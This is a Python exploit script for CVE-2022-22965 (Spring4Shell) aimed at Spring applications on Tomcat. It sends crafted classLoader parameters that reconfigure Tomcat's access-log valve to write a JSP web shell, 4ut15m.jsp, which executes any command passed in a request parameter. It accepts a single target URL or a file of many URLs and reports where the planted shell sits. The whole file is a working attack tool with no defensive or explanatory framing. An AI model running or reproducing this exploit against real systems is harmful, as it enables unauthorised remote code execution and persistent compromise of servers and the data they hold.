import argparse
import requests
from urllib import parse


class Run:
    basePayload = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%34%75%74%31%35%6d%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}&class.module.classLoader.resources.context.parent.pipeline.first.prefix=4ut15m&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    """.strip()
    header = {"4ut15m": "<%=Runtime.getRuntime().exec(request.getParameter(request.getParameterNames().nextElement()))%>",
              "Content-Type": "application/x-www-form-urlencoded"
              }

    def __init__(self):
        agp = argparse.ArgumentParser(description="CVE-2022-22965")
        up = agp.add_mutually_exclusive_group()
        up.add_argument("-u", "--url", help="target url.")
        up.add_argument("-f", "--file", help="urls")

        agp.add_argument("-c", "--container", help="The web container.Such as tomcat.")
        self.args = agp.parse_args()

    def start(self):
        args = self.args
        if args.url:
            something = self.urlparse(args.url, args.container)
            self.check(something)
        elif args.file:
            urls = []
            with open(args.file) as f:
                content = f.read().split()
                for c in content:
                    urls.append(c)
            for u in urls:
                something = self.urlparse(u, args.container)
                self.check(something)
        else:
            print("no url.")
            exit(0)


    def urlparse(self, url, container=""):
        paurl = parse.urlparse(url)
        something = {"baseUrl": paurl.scheme+"://"+paurl.netloc,
                     "url": paurl.scheme+"://"+paurl.netloc+paurl.path,
                     "shellPath": "",
                     "shellFile": "4ut15m.jsp",
                     "webShell": "",
                     "payload": ""
                     }

        if container.lower() == "tomcat":
            something["shellPath"] = "webapps/"
            if paurl.path.strip("/") == "":
                something["shellPath"] += "ROOT/"
            else:
                something["shellPath"] += paurl.path.split("/")[1]+"/"
            payload = self.basePayload.format(directory=parse.quote(something["shellPath"]))
            something["payload"] = payload
        something["webShell"] = something["baseUrl"]+"/"+something["shellPath"].split("/")[1]+"/"+something["shellFile"]
        return something

    def check(self, something):
        flag = False
        requests.post(url=something["url"]+"?"+something["payload"], headers=self.header)

        if requests.get(url=something["webShell"]).status_code == 200:
            flag = True
        if flag:
            print("This site is vulnerable and the shell is: " + something["webShell"])
        else:
            print(something["baseUrl"] + " is not vulnerable.")
